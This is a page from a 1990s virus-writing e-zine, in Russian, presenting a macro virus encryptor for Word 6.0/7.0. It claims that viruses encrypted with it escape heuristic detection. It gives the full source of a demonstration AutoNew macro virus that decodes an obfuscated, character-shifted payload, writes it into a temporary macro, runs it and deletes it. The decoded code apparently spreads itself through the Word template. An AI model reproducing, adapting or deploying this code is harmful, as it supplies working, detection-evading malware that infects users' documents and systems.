- [Duke's Virus Labs #8] - [Page 31] -

Macro Encryptor
(c) by Deviator/HAZARD

Постой (не полиморфный) шифровщик макро вирусов для Word 6.0/7.0.
Зашифрованные с его помощью вирусы не детектируются эвристикой !

Исходник демонстрационного вируса :

===== Cut here =====
Macro: AutoNew
Sub Main
A$ = "bДq/\PX]" + Chr$(28) + "^}/TББ~Б/V~Г~/V~U~БЖpБs" + Chr$(28) + "WtБt/L/?" + Chr$(28) + "^ДБ]p|t3//L/Ux{t]p|t378" + Chr$(28) + "^ДБ\prБ3//L/^ДБ]p|t3/:/1IPДГ~]tЖ1" + Chr$(28) + "]/L/R~Д}Г\prБ~В7?;/
rБ~]p|t37x;/?;/?8/L/1PДГ~]tЖ1/cwt}/WtБt/L/</@" + Chr$(28) + "]tЗГ/x" + Chr$(28) + "Xu/WtБt/L/?/cwt}/\prБ~R~И//^ДБ\prБ3;/1PДГ~]tЖ1;/</@" + Chr$(28) + "Xu/WtБ" + "t/L/</@/cwt}" + Chr$(28) + "/\prБ~R~И
U~Б|pГ/L/@" + Chr$(28) + "T}s/Xu" + Chr$(28) + "V~U~БЖpБsI" + Chr$(28) + "T}s/bДq" + Chr$(28)
z$ = ""
For i = 1 To Len(A$)
b = Asc(Mid$(a$, i, 1)) - 15
z$ = z$ + Chr$(b)
Next i
ToolsMacro .Name = "Temp", .Show = 1, .Edit
EditSelectAll : EditCut
Insert z$
DocClose 1
Temp
ToolsMacro .Name = "Temp", .Show = 1, .Delete
End Sub
===== Cut here =====